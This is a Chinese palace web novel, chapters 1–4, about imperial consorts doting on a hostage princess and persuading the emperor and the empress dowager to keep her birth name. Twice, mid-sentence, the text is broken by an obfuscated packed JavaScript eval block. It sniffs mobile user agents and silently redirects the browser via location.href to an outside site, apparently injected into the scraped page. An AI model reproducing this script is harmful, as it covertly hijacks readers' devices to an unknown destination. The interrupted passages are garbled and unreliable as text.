《娘娘们的团宠小公主》 1. 陈美人手欠 后宫妃嫔都说,早起实在是太痛苦了,主要早起也没什么事干,就到皇后娘娘宫里互相道一句“晨好”,然后又回去睡觉了。 那何必要有这个流程呢? 皇后看怨声载道,就变通了一下,每个宫住两位妃嫔,以后,每个宫只要派一个人来请安就行了,至于派谁来你们自己商量,务必要公平。 如此,既不违祖宗礼法,又能让大家轮流睡个安稳觉。 月昭容和柳婕妤一人早起一天。 沈昭仪和齐昭容一人早起三天。 玉妃和敬妃大部分时候都不缺席,偶尔病了才会不来。 贵妃和陈美人就没那么公平了,皇后已经连着半个月没在晨会上见到贵妃了。 问了一下才知道,贵妃娘娘说了,只要陈美人愿意早起,午膳就可以到贵妃处用。 那还说什么?贵妃的吃食和美人的吃食能一样吗?必须去啊! 至于睡觉,反正回来也可以继续睡。 皇后看陈美人乐在其中,也就没说什么了。 但是今天早上,各宫的人不仅到齐了,而且,最令人称奇的是,贵妃和陈美人竟然是第一个来的。 皇后从里间出来,正要坐下,看到贵妃时动作一顿,诧异道:“今日倒是怪了,平日要想见贵妃一面,最早也得等用了午膳之后。” 贵妃早就按耐不住了,连忙接话道:“听说姐姐昨日得了个小公主?可否抱来给臣妾玩玩?” 皇后蹙眉,身体前倾,尽量克制着语气中的不满,道:“贵妃,你说的什么话。” 贵妃:“是是是,臣妾失言,姐姐勿怪,可否把公主抱出来让臣妾们瞧瞧?” 平日里甚少发言的月昭容也道:“是啊皇后娘娘,这后宫里的孩子都被抱去梧桐宫养着了,唯一的公主也……臣妾已有三个月未见到臣妾的琴儿了,难得陛下同意让皇后娘娘抚养符国的公主,臣妾们听说消息以后,期盼了整整一夜。” 皇后听到“唯一的公主”,神色黯淡了几分,还没来得及感伤,就听贵妃在旁边“是啊是啊是啊”的附和,一时哭笑不得。 皇后道:“倒不是本宫小气,不让你们见,只是孩子病了。” “病了?可让……”玉妃话还没说完,就被贵妃打断。 贵妃:“昨日才来,怎么今日就病了?可是水土不服吗?太医怎么说啊?” 皇后耐心解释道:“孩子太小了,刚出生就离开了母亲,千里迢迢来到这边,行了二十多天的路,昨日才刚满月,舟车劳顿,衣食不周,怎能不病?昨晚到的时候就一直在发热,太医说,就算治好了,怕也是会落下病根,本宫照看了一夜,天亮的时候,公主才刚睡下。” 玉妃越听眉头越紧。 陈美人道:“怎么这么小的孩子就受如此折磨啊?怎么说也该等孩子大一些再……” 皇后眼神示意,陈美人闭嘴了。 旨意是陛下下的,这话说的,像是在指责陛下。 皇后道:“妹妹们要是想见公主,等午后再来吧,让孩子多睡会儿,我们人多,难免吵醒她。” 从皇后宫里出来,贵妃一直提不起兴致。平日里总要和陈美人斗两句嘴,今日却什么也讲不出。 陈美人跟在她身边,皱巴着眉毛,欲言又止,“娘娘,臣妾有句话,不知当讲不当讲。” 贵妃转过头,以为她有办法医治公主了,忙停下步子,道:“快说。” 陈美人知道贵妃想偏了,但都到这一步了,还是说吧,她道:“臣妾想吃羊肉汤。” 贵妃先是怔住,似乎没反应过来,随后甩开陈美人的手,气道:“都这个时候了你还想着吃,你若要吃,回自个儿宫里吃,可别指着本宫。”言罢,快步向前走去。 “娘娘怎么这样。”陈美人忙小跑着追上去,她没有贵妃高,追得好生费劲,“娘娘身为一宫主位,怎能言而无信?臣妾日日早起梳妆,可不就为了那一口?娘娘如何狠下心拒绝臣妾?” 她的鞋子跑起来不方便,实在是跑不动了,一把拉住贵妃娘娘的手,差点把贵妃带倒。 “诶!娘娘!” “娘娘!” “陈美人当心!” 几个宫女内侍手忙脚乱地去扶,好在两个人都只是踉跄了一下,并未摔倒。 贵妃瞪了她一眼,有理有据地道:“本宫今日也早起了。” 陈美人:“娘娘那是突发奇想,并未提早告知臣妾,娘娘要是昨晚派人来告知臣妾,臣妾今早就睡个好觉了。” 贵妃转过头来,质问道:“难道你不想看公主吗?” 陈美人委屈地缩了缩脖子,道:“又不是人人都爱孩子的。” “是是是,你就爱吃。”贵妃再次甩开她的手,“安禾,本宫走累了,去传轿撵。” 旁边的宫女应了一声,陈美人又扑上来抓着贵妃不撒手。 贵妃扯了两把,发觉没她力气大,旁边的小太监要来帮忙,又被贵妃一个眼神呵退了。 贵妃:“你到底要如何?” 陈美人:“臣妾要吃羊肉汤,臣妾让身边的宫女去御膳房打探了,今日没有羊肉汤。贵妃娘娘——” “啧!”贵妃无可奈何,“放开,本宫头痒,要挠头。” “哦。”陈美人放开了,“贵妃娘娘,看在臣妾日日为您卖命的份儿上,羊肉汤……” “知道了知道了。”贵妃没好气地“啧”一声,看向宫女,“安禾,回去让小厨房做一份羊肉汤。” 安禾:“是。” 陈美人开心了,“轿撵来了,贵妃娘娘请,臣妾先回去了。” 她一路上蹦蹦跳跳、欢欢喜喜地回去,但还是没能和贵妃一起用上午膳,因为陛下来了。 那没办法咯,陈美人只能回去吃凉拌金针菇了。 她这两天胃有些不舒服,吃不下凉东西,偏偏这个时节暑气重,膳房做的多是凉菜,唯一两个不凉的菜她还不爱吃。她记得儿时胃不舒服时,母亲都会给她煮羊肉汤吃,她正想着那个味道。 就在她准备搁下筷子的时候,宫女前来禀报,“陈美人,贵妃娘娘身边的安禾过来了。” 陈美人道:“让她进来吧。” 安禾走进来,低着头弯着腰,将一盆羊肉汤放在了桌上,“奴婢参见陈美人。陈美人,小厨房的羊肉汤做好了,奴婢奉命给您送来。” “诶?”陈美人刚才明明听见陛下来了的,“怎么?贵妃娘娘跟陛下说我想吃羊肉汤?” 安禾:“贵妃娘娘说她不爱吃羊肉,汤做好后直接送来美人这里就是,不用送到陛下眼前了。” 陈美人乐得满面春风,“行,搁这儿吧,替我谢谢贵妃娘娘。” 安禾并未立刻离去,道:“娘娘还有一句话叮嘱,娘娘说,羊肉并非什么难得的东西,美人想吃,自去御膳房吩咐就是,御膳房不会不给的。若是不好意思,吩咐小厨房也行。” 下午,公主身上总算不发烫了,看上去精神好一些了,皇后说话算话,让内侍们去各宫通报,不到一炷香的工夫,各宫的妃嫔就齐聚凤鸣宫,围着公主的摇篮,你一言我一句。 贵妃:“诶?公主鼻子侧面怎么黑了这么一块?” 皇后:“本宫问过太医了,说是胎记,消不掉了。” “啊?”贵妃用指关节蹭了蹭,摸起来并无奇怪之处,和另一侧的皮肤一样光滑,只是颜色不一样,“女孩子脸上这么大一个胎记,那可怎么好?” 月昭容叹息道:“这是符国国主的第一个孩子,听说符国国主盼第一个孩子盼了好几年,得知国母怀孕那日,符国国主大办宴席三日,倘若公主能留在父母身边,即便相貌平平也没什么,有国主国母的宠爱,哪有人敢提及她的相貌,只可惜……” “月昭容慎言。”皇后打断道,“就算是在本宫这里,也要注意言行。陛下德重恩弘,公主能到陛下身边是公主的福气,也是符国的福气。” 月昭容忙道:“是,是臣妾失言,还请娘娘责罚。” 皇后叹了口气,“妹妹们心疼公主本宫理解,但也要看护好自己的脑袋。” “唔哇哇……哇哇哇……”公主断断续续的哭声打断两人的谈话。 “怎么了?”皇后连忙起身,往摇篮那边走。 贵妃一巴掌打在陈美人手背上,“没事,是陈美人,手欠,非要去捏公主的脸。” 陈美人揉了揉被打红的手背,道:“臣妾看孩子脸圆鼓鼓的,忍不住嘛。” 皇后不放心,还是提步 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公主回到了熟悉的怀抱,哭声小了些。 等公主彻底不哭了,皇后又准备把孩子放回去。 贵妃道:“娘娘直接放到地上吧,也让我们看得更清楚些。” 公主没来之前,各宫妃嫔们经常聚在凤鸣宫的偏殿闲聊,天气太热,贵妃说反正是在皇后娘娘这儿,就自在些,干脆在地上铺了席子打牌,也能凉快些。 公主来了之后,皇后并没有把席子撤下去,所以大家像往常一样,依然跪坐在地上。 皇后道:“贵妃,孩子不是玩意儿,她身子刚好一些,地上又硬又凉,她会病的。” 皇后把孩子放回床上,顺手用食指指腹抹掉了孩子嘴边的水渍,“本宫会把这个孩子当作亲生孩子来照顾的,也盼着你们,像心疼自己孩子那样心疼她。” “臣妾们肯定会的。”贵妃学着皇后的样子,用手指轻轻在公主脸上蹭了一下。 她收回手的时候,不小心碰到了陈美人支棱起来的一条腿。 别人都是跪坐,只有陈美人歪斜着身子,不知道什么时候把腿都支棱起来了,恨不得直接躺下。 贵妃看不下去了,拍了一下她的腿,道:“你像什么样子?难怪陛下不喜欢你呢。” 陈美人满不在乎地把另一条腿也支棱起来,道:“嫔妾没那个福气,幸好贵妃娘娘不嫌弃,愿意时时照顾妾身,给妾身一口饭吃,心情好了,再赏妾身几套首饰,妾身能得娘娘青眼,已是三生有幸,不敢再奢求其它。” 贵妃娇嗔着推了她一把,道:“你倒是会说话。” 陈美人靠在自己手肘上,没靠稳,被贵妃这么一推,差点半个身子摔下去。 一向默默无闻的月昭容突然接话道:“娘娘没听出来,她是要你昨日新做的那套首饰呢!” 众人都笑起来。 陈美人坐起身,打趣道:“昭容娘娘平日里不怎么说话,一挤兑起妾身来竟变得伶牙俐齿。” 皇后欣慰地笑着,道:“贵妃,本宫还有件事想找你帮忙。” 贵妃疑惑:“妹妹还能帮上姐姐的忙?行啊,姐姐尽管说。” 皇后:“姐姐想派贴身宫女欣儿去照看公主,可她还有一个月就年满二十五岁出宫了,本宫记得妹妹宫里有个叫盼儿的姑娘,刚入宫三年,年满十六。之前闲聊的时候,听说她是家里的长女,从小照顾弟弟妹妹们,平日里她帮妹妹照看花草,也算心细,本宫想派她来照顾公主。” 贵妃一边戳着孩子的小脸,一边不准陈美人戳,一边回答道:“行啊。臣妾等会儿回去就让她过来。” 玉妃随口说道:“欣儿都二十五了?真快啊,臣妾还记得她刚拨来伺候娘娘的时候,怯生生的,如今长开了,眉清目秀的,都长成大姑娘了。” 皇后看着站在门口的欣儿,笑道:“是啊,欣儿也长大了,她刚来本宫这里的时候,还是个十三岁的孩子,需要云儿带着,后来云儿出宫了,欣儿接替了云儿的位置,如今,欣儿也要走了……” 她抚了下眼角,“时间过得真快啊,二十四年了……若没有妹妹们作伴,本宫当真不知道这二十四年要怎么过。” 2. 秦舒蕊 贵妃连着三天都睡在皇后宫里,睡在皇后宫里有个好处,晨会不会迟到了,所以皇后已经连着三天没有在早上看到陈美人了。 她随口问了一句:“陈美人最近午膳都在自己宫里用的?由奢入俭难,她可吃得惯?” 贵妃道:“哪有,臣妾不在,她命送菜的内侍把臣妾的饭食都送到她那里去,小内侍不敢答应,专门跑来问了臣妾。臣妾懒得跟她计较,她还当臣妾不知道。” 皇后被她逗笑了,递给她半个剥好的橘子,道:“也是你性子好,惯着她。她要是跟敬妃住,哪敢如此放肆。” 贵妃道:“那是,敬妃妹妹年纪还没有臣妾大,整天板着个脸,臣妾看了也害怕。” 皇后道:“诶,敬妃稳重,你该跟她多学学。” 公主抓着贵妃的手,塞到嘴里。 “哎呀!”贵妃立刻抽回,“你怎么跟本宫之前养的小狗似的,这能吃吗?” “贵妃!”皇后收了几分笑颜,“这话本宫就不爱听了。” 贵妃吞了口唾液,道:“臣妾失言,臣妾没那个意思。” “本宫知道。”皇后道,“你也该……诶,好了不说了,快去看看,孩子要哭了。” 皇后话音未落,哭声已经响彻凤鸣宫。 “好了好了,别哭了。”贵妃把手递过去,“给你吃。” 公主拳打脚踢地踢开她的手,贵妃趁机在公主衣服上蹭了蹭孩子的口水。 皇后无奈地瞥了她一眼,俯身把孩子抱起来,抱在怀里,口里念着童谣,右手轻拍。 贵妃看着她们,突然想起二公主。六年前,皇后诞下公主,陛下一直担心慈母败儿,不敢让后宫女子抚养皇子,不过公主无所谓。陛下已经答应让二公主留在皇后身边养了,可惜,不到一年,公主就夭折了。 皇后娘娘因此大病了一场,险些随着公主一起去了。 听皇后娘娘身边的宫女说,符国公主进宫的那天,娘娘一夜没睡。 她该多害怕,害怕这个孩子也像二公主一样去了。 “娘娘。”贵妃仰着头,看着皇后。 “嗯?”皇后应道。 贵妃道:“公主可有名字?” 皇后见孩子不哭了,把孩子放回摇篮里,道:“我正要去找陛下商议此事,前两日宫女洗衣的时候从公主衣裳里翻出一条帕子,上面绣着‘秦舒蕊’,想来是符国国母给孩子起的名字。但……不知陛下怎么想。” “这有什么好拒绝的。”贵妃轻轻晃着摇篮,“一个名字而已,准了就准了。” 皇后道:“本宫也希望如此顺利,等再晚一些,陛下忙完了,本宫就去禀告。” 贵妃道:“好啊,娘娘先去说,娘娘说不动的话,臣妾再去说。” 用了午膳,陛下身边的内侍来传旨,说陛下晚膳会到皇后这里来用。 贵妃不好厚着脸皮待在这里,用完午膳后便回自己宫里了。 夜里,皇后迟迟不见陛下,据陛下身边的内侍说,是为着检查皇子们的功课,故而晚了,皇后忧心忡忡地在宫里转来转去,生怕陛下不来了。 幸好,半个时辰后,陛下来了。 “臣妾给陛下请安,陛下万安。”皇后携满宫宫人行礼道。 “起来吧。”陛下随口说道,径直路过皇后,坐到桌前,“朕昨日与太子太傅闲聊,太傅说他前几日出了一道难题,想为难一下太子,没想到,太子竟在一日之内解出来了。朕今日特把太子叫到跟前来,也出了一道题,他竟也答出来了。呵,好啊,吾儿有出息,真是高兴啊。” 皇后心下的惶恐消了一半,下意识勾起唇角。 她平日甚少见到太子,只能从陛下口中听到些太子的近况。 她每次听了都高兴得能多喝一碗汤。 但今日,她心里藏着事,表现得没有往日高兴。 “陛下高明远见,若无陛下为政儿打算,政儿再有天资也是无用的。”皇后琢磨着如何为公主开口,吞吞吐吐,“如今政儿争气,臣妾又得一公主,当真是大喜。如今公主已过满月,没有名字可不行,臣妾想……” “嗯,朕也是来找你说这件事的。”陛下打断她,道,“太后知道宫里多了个孩子,也高兴,今日午时在御花园闲逛,见外面荷花开得正好,就给公主赐名为景荷,朕听着好极了,有太后的福泽庇佑,荷儿定能平安顺遂。” “景荷……”皇后念叨两句,思索着,道,“这名字是好,太后疼爱公主,是公主的福气。只是,公主已然有名字了,符国国母将孩子的名字绣在锦帕上,塞在公主的衣裳里,陛下请看……” “这好办。”陛下扫了一眼她递来的帕子,并未接过,“给公主改个名字就是了。” 皇后听完,略带惊讶地看向陛下,随后立刻收敛神色,恢复如常,道:“陛下,公主小小年纪离开父母,虽享公主之尊,得陛下和太后的庇佑,但到底是母女分离,这个名字是孩子母亲唯一能留给孩子的东西了,陛下何不赐符国一个恩典?符国国主定然感念陛下恩德,效死输忠。” 陛下明显有些不耐烦了,放下筷子,道:“皇后太较真了,一个名字而已。何必为此扫太后的兴?” 皇后知道,过了今日,再想提这件事就难了,圣旨一下,更是再无转圜的余地。 她尽量放缓语气,继续劝道:“臣妾还记得太子出生时,陛下说名字寄托了父母的期望,一定不能马虎。陛下……” “好了。”陛下蹙眉,站起身,“朕累了,去玉妃宫里看看。” 皇后起身,行礼道:“臣妾恭送陛下。” 晚上梳妆的时候,欣儿忍不住问了一句,“娘娘,一个名字而已,您何苦如此。” 皇后道:“同为母亲,本宫知道骨肉分离的痛,这名字虽简单,却倾注了母亲对孩子的所有爱意,她已经没有别的东西能给了,本宫怎么能不为她争一争。” 欣儿低头,不说话了。 “怎么了?”皇后转过头,拉住她的手。 欣儿欲言,又止,张了张口,又闭上,终于她鼓起勇气,跪在皇后身边,道:“奴婢想起了自己的母亲……娘娘,奴婢跟了您十二年,临了了,奴婢妄想着跟您说说话。” “你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16991397|193725||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说。”皇后转过身体来,正视她,扶她起身,伸手给她擦眼泪,“坐下说。” 欣儿坐下,拉着皇后的手,舍不得放开,她道:“奴婢原名乔欣月,因这‘月’字和皇后娘娘的闺名相撞,不得不改叫欣儿。奴婢、奴婢……恕奴婢说句大不敬的话,奴婢的阿娘有福,和娘娘有几分相似,奴婢进宫后,一直把娘娘当成奴婢的阿娘伺候,奴婢、奴婢……” 她跪下,道:“奴婢僭越。” “不。”皇后俯身去拉她,拉着她重新坐到椅子上,她拉开妆台的屉子,挑了一对别致的玉簪,递上去,“本宫是国母,是天下人的母亲,怎能不是你的母亲。这没什么僭越的,本宫就是你的母亲。但是本宫无能啊……本宫没法叫这些孩子都过上好日子。” “娘娘……”欣儿握住她的手,推拒着她的玉簪,“娘娘已经给奴婢准备了好些嫁妆,这对玉簪是娘娘当年为二公主打的,奴婢、奴婢如何敢收啊!” “这没什么不敢的。”皇后将玉簪递到她手里,“一对玉簪,一对玉镯,都是本宫为公主打的。既然你说你把本宫当娘,那自然要收本宫的礼。玉簪你拿着,玉镯留给公主,留给你妹妹。” 欣儿泣不成声,实不敢收,“奴婢卑贱,如何能与公主做姐妹……” “你怎能这样说自己?”皇后半责怪半心疼地道,“欣月,做皇后的那一天,太后便叮嘱本宫,皇后是一国之母,是天下女子的表率,天下人都会奉我为慈母,我要肩负起国母的责任。既然是母亲,孩子卑贱,不就是母亲卑贱?欣月,你、我、公主,都是一样的。我尊贵,这天下人便尊贵,这天下人卑贱,我也卑贱。” “只是、只是……”皇后的语调泛着无尽的苦涩,“只是母亲无能,连孩子们的名字都保不住。从前,保不住你的名字,如今,也保不住蕊儿的名字,这宫里定然还有很多孩子,因着我的缘故失去了原本的名字。我连孩子的名字都保不住,又能做些什么……” “娘娘,这不是你的错。”欣儿紧紧握住皇后强塞过来的玉簪,“娘娘已经做了可以做的一切,娘娘一己之力,如何对抗祖宗礼法,如何能还奴婢的姓名?” 皇后手握拳,放在自己心口的位置。 她扪心自问,做到最好了吗? 还没有。 欣月的名字也许还能要回来,蕊儿的名字也还有转圜余地。 她管不了天下人,但至少要管好眼前人。 她回过神儿来,用拇指蹭掉欣儿的眼泪,“好了,别哭了,本宫给你一道恩旨,准你改回原先的名字,风风光光出嫁。不早了,去休息吧。明日本宫要去一趟太后宫里。” 乔欣月想跪下磕头,被皇后扶住了。 皇后道:“我不是你亲娘,可你却伺候了我这么多年,临了了,我怎么能再受你的大礼。这道恩旨是应该的,是我报你的恩。” “好了。”她拍拍乔欣月的手,“去吧,去歇息吧。” 皇后心里藏着事,一夜未眠,第二日一早去太后宫中请安,发现玉妃也在。 玉妃起身,恭恭敬敬地道:“臣妾给皇后娘娘请安。” 3. 你觉得是就是 皇后行了个礼,根据太后的眼神示意坐下。 太后道:“今日巧,你们前后脚来的。” 玉妃道:“这么一大早,想来皇后娘娘的心和臣妾的心是一样的,都是来向太后禀报喜事的。” 皇后还没反应过来,什么好消息? 可是昨夜陛下和玉妃说了什么? 如此一来,再提改名的事就不合时宜了。 太后疑惑地转过头来,看着她:“何事?” 玉妃道:“闻听太后娘娘昨日在御花园赏花,见池子里的荷花开得正好,想起‘景荷’二字,想以此为公主之名,不负这夏日盛景。” “是有此事。”太后道,“只是还没来得及同陛下商议,玉妃是如何知晓的?” 玉妃道:“陛下已然知晓了,陛下知晓后,立刻答允为公主更名为景荷,昨晚已告知臣妾,这等孝心,如何能不说给太后娘娘知晓,这不,臣妾一早就来向太后娘娘道喜,陛下孝思不匮,可不让太后娘娘高兴?如今皇后娘娘也来了,臣妾正好一并恭贺了。公主有太后娘娘的庇佑,定然安康顺遂。” “慢着。”太后皱起眉头,推开皇后递来的药碗,“更名?哀家听你这话头,公主原先是有名字的?” “是有的。”皇后心里的石头落了一半,“公主原名秦舒蕊,符国国母特绣在帕子上让公主随身携带入宫,臣妾瞧着帕子并不精致,角落染了几滴血迹,上面的莲藕也没有绣完,应该是连夜赶工的。符国国母之心,大约就如那条锦帕,被穿得千疮百孔,伤痕累累。” “哎呦,哀家不知道呀。”太后拉着皇后的手。 皇后放下药碗,起身,跪坐床前,看着太后,眼神里满是恳切。 玉妃也起身,跪于皇后身侧,道:“太后恕罪,是臣妾莽撞,未曾多想,贸然恭贺。公主小小年纪,远赴千里,符国国母刚生下孩子,便骨肉分离,做母亲的,恨不得把心挖出来,跟着这条帕子一起,赴往皇宫啊。” 太后看着皇后垂下的眼皮,道:“哀家知道,陛下是为了这天下,不得不拘幼子入宫,为了天下,不得不牺牲一些,你们也别怨陛下,母子分离,想来陛下心里也是痛的……” “臣妾们焉能怪陛下。”皇后道,“若非陛下,臣妾等哪里能安坐于后宫,享荣华富贵,若非陛下,臣妾如何能抚养公主。臣妾等感念陛下恩德还来不及,何来怨怼?只是,这名字……” “想来陛下也是不知道的。”太后握住皇后的手,打断她,道,“这事,由哀家去说,一个名字而已,何必为此让符国国主不快,就当是恩典,给了他们又如何?” 皇后道:“臣妾替公主谢谢太后。” 玉妃道:“孩子的母亲是要顾及,可臣妾贪心,还是想为公主讨了这份恩典,依臣妾看,不如将‘景荷’作为公主封号?” “好,好。”太后点头,接过玉妃递来的药碗。 两个人一直待到太后用完早膳睡下后,才离开。 回去的路上,皇后忍不住问她。 她道:“臣妾昨晚都准备睡下了,陛下突然前来,让臣妾陪着说了会儿话,说起了公主名字的事情。臣妾不敢劝,可心里难过,一整晚都睡不着。今早来太后宫里,本意也是想求求太后,可臣妾胆怯,不敢直言,便想着用道贺之语说出,倘若太后也觉得是喜事,臣妾就不劝了。” “无论如何,都要多谢你。”皇后道,“我笨嘴拙舌的,若非你在,我怕是什么都说不出来。” “哪有,一个名字而已,太后娘娘本意也是怜惜这个孩子,怎么会诚心要给公主更名呢。”玉妃道。 皇后喃喃地重复道:“是啊,一个名字而已。” 玉妃看了皇后一眼,见她神色惆怅,伸手扶住她,道:“虽说只是一个名字,但我们这些深宫妇人,能争的,不就是这些小事吗?这些事在陛下眼里,不过是一句话的事,到我们身上,就是天大的事。” 她叹了口气,又道:“臣妾刚进宫的时候,多得娘娘庇佑,一直想找机会报答娘娘,如今,总算能为娘娘尽一些绵薄之力,臣妾高兴。” “哪里是绵薄之力。”皇后连忙道,“若没有妹妹,此事难成,妹妹是帮了大忙了。” 皇后在凤鸣宫守着公主,战战兢兢地等了三日,终于等来了陛下的旨意。 尘埃落定,公主名秦舒蕊,封号景荷。 皇后长长地舒了一口气。 她跪坐在公主的摇篮旁边,轻轻晃着摇篮,拿开公主塞在嘴里的拨浪鼓,“蕊儿,蕊儿……蕊儿你有名字了,你叫秦——舒——蕊——秦舒蕊,是你母亲给你起的名字,秦舒蕊。” 公主看着她,蹬了两下腿,咯咯地笑了。 下午,贵妃又来了,她抢过宫女的扇子,随便给皇后请了个安,大咧咧地坐在地上。 皇后揉了揉眉心,“你还说陈美人不像样子,你这像什么样子。” 贵妃道:“这又没有外人。” 皇后随口道:“你也不怕陛下来了。” “陛下怎么会来这……”贵妃说完突然意识到哪里不对,忙道,“臣妾没那个意思。” “嗯。”皇后当然知道她没别的意思,这么多年,都习惯了。 贵妃玩了会儿公主,回过头来看向皇后,“娘娘你在绣什么?” 皇后道:“公主的帕子,上面的莲藕绣了一半,没绣完,本宫想帮着补上。” 贵妃道:“亲娘绣一半,养娘绣一半,公主好福气。” 皇后抬起头,道:“若是能选,亲娘未必想让养娘绣另一半,是本宫抢了别人的福气。” “娘娘别这么说。”贵妃掰开公主的嘴,想看看没有牙的嘴巴长什么样子,“也不是娘娘选的,不能怪娘娘。” 公主又哭了。 “哎呀!”皇后无奈地坐到她旁边,抱起孩子,“你再这样本宫不让你看孩子了。” 她把孩子送到贵妃怀里,“自己弄哭的,自己哄。” 贵妃一下子手忙脚乱起来,跟抖豆子似的晃起来。 公主身体好了,经得起晃,皇后便佯装看不见,让贵妃忙活去。 “嘿嘿嘿……”公主突然笑起来。 贵妃也得意地笑起来,“娘娘我学会了,你看公主喜欢这样。” “呵……”皇后也笑了,不知道是气的还是没话说了,“好了好了,别折腾公主了,快把公主放回去。” 贵妃又抖了两下孩子,一只金镯从襁褓中掉出来。 “这是什么?”贵妃捡起来,看向皇后。 皇后盯着镯子,脑子一时没转过来,“本宫不知。” 她看向盼儿。 盼儿弯腰上前来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16991398|193725||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,看了一眼镯子,立刻反应过来,“呀!这是月昭容娘娘的,今天早上她来看公主的时候戴的,公主喜欢,拉扯了两下镯子。奴婢疏忽,不知昭容娘娘何时放入孩子襁褓中的。” 皇后摸了一下孩子的脸,哭笑不得地道:“我说孩子今天早上怎么一直哭呢,原来是被膈的。月昭容送个镯子怎么还偷偷摸摸的。” 公主又哭了。 第二日,月昭容来请安的时候,皇后问及此事才知道,月昭容只是把镯子放在孩子手边,至于怎么到襁褓里的,她也不知道。 大概是公主自己藏的吧。 屋里的每个人都笑起来,好不欢乐。 公主刚满四个月,各宫妃嫔就开始合计着周岁礼了。 陈美人已经帮公主选好抓周的东西了,除了她做的各种各样的牌以外,还有鱼竿、风筝、糖罐子。 贵妃拿走了她所有的东西,训斥道:“你有个正形没有?公主长大哪能跟你似的,除了玩什么都不会。” 陈美人想去抢,贵妃把手举得高高的,让她够不到。 陈美人不服,争辩道:“公主又不能入朝为官,又不能掺和国事,甚至不能出宫,连骑马都不一定能有机会,既然如此,何必那么辛苦,逍遥一生也算不辜负了。” “什么歪理。她喜欢读书,后宫多得是饱读诗书的女子,自有人陪着她吟诗作对,她喜欢下棋,本宫可以陪她,喜欢刺绣,皇后可以陪她。怎么就只有吃喝玩乐才算不辜负?”贵妃说完,把手上那一大堆东西从窗户扔了出去。 陈美人听见她的糖罐子碎了,心灰意冷了,不争了。 她平和道:“如果公主就是喜欢吃喝玩乐呢?如果公主就是喜欢跟着臣妾打牌呢?如果公主就是琴棋书画不通呢?贵妃要逼她吗?连陛下都对她没有期许,我们又何苦为难她。” 她说完,走进里间准备睡觉去了。 “诶,你这说的是什么话。”贵妃遣散周围的宫女,自己追上去,不依不饶地喊道,“陛下没有期许,我们就不能对她有期许吗?我们的期许就一点意义都没有吗?她自己就不能有一点志向吗?她若是只喜欢吃喝玩乐,不求上进,本宫也不会说什么,只护她周全便是。可如今,她才多大,本宫就连一点期许都不能有吗?” 陈美人从床上坐起来,大步走到贵妃面前,压着嗓子,道:“娘娘说要护她周全?那妾身倒想问问,倘若陛下要把她嫁给她不喜欢的人,娘娘当如何?倘若符国谋反,陛下要砍下公主的头,娘娘又当如何?到那时,娘娘会不会后悔曾经对她的期许过高?对她要求太多?娘娘,只要您有期许,您就一定会干涉公主的选择的。” 贵妃立刻道:“符国不会谋反,他们的公主还在……” 陈美人打断她,道:“符国国主迟早会有别的孩子,时间长了,能记得这个孩子的,也就只有孩子的母亲了,您觉得,符国国主会为了一妇人放弃大业吗?您觉得,陛下会为了您饶过反贼的女儿一命吗?” 贵妃吞了口唾液,捏着自己的衣角,向后退了几步,但她嘴上依然坚持:“本宫不会为了这遥不可及的未来,放任公主成为一个什么也不会、只会打牌的蠢货。” 陈美人喉咙一哽,不可置信地道:“姐姐在说我?” 贵妃迟疑半晌,道:“你觉得是就是。”说完头也不回地走了。 4. 和好! 公主周岁礼那天,陈美人还是把她做的牌带来了,捏在袖子里。 她来的晚,贵妃下意识给她让了个位置。 陈美人看都没看她一眼,坐到月昭容身边去了。 皇后刚开始还劝两句,现在都习惯了。 月昭容用手肘碰了碰陈美人,“都半年了,你们还别扭着呢?” 玉妃道:“好了,你俩就是为着公主的周岁礼吵起来的,今日过去,你们可要和好了。” 沈昭仪道:“是呢,陈美人三天两头到臣妾宫里吃饭,臣妾宫里的饭,可没有贵妃娘娘宫里的好吃。” 贵妃没好气儿地道:“你对着本宫说什么,是她要跟本宫闹,哪里是本宫要跟她闹,台阶递了多少,她也不下,就让她挺着呗。” “抓抓,抓抓。”秦舒蕊拉着贵妃的手,要往她身上爬。 贵妃立刻收了脾气,转脸冲着公主笑。 贵妃要伸手抱她,公主突然躲开了。 “诶?”贵妃疑惑道,“你这孩子,到底要干什么。” 秦舒蕊拉着贵妃,往对面爬。 贵妃不得不跟着孩子往对面挪。 贵妃只顾着膝下,全然没抬头,地上人多手杂,膝盖不小心压一下可痛了。 等她抬起头的时候,已经到了陈美人面前。 秦舒蕊去拉陈美人,陈美人以为她是想要她手里的牌,连忙递给她,秦舒蕊扔到一边,又去抓陈美人的手。 她拉住陈美人的手,再次去拉贵妃的手。 贵妃抽回手,公主又去抓,见抓不到,跪坐在原地,嘴一撇,哭了。 “娘娘让她抓一下嘛。”柳婕妤用肩膀碰了下贵妃的手肘。 贵妃无奈,把手递给她。 孩子得了想要的,从大哭转为了抽泣,抽抽搭搭地拉着两位母妃的手,交叠在一起。 公主:“和好。” 屋里的人都笑起来。 皇后:“哎呦,小公主发话了,这下得和好了。” 贵妃娇嗔地瞪了皇后一眼,道:“公主日日在皇后娘娘这里,定是皇后娘娘教的。” “诶,本宫可没教她。”皇后笑得眼睛都眯起来了,她拿起扇子,给公主扇风,柔声问道,“蕊蕊,告诉母后,为什么要这么做呀?” 公主刚满一岁,话还说不利索,连说带比划地道:“陈母妃坐在那,张母妃坐在那。” “哦——两个母妃坐得太远了?”皇后问道。 秦舒蕊摇头,道:“她们吵架。” 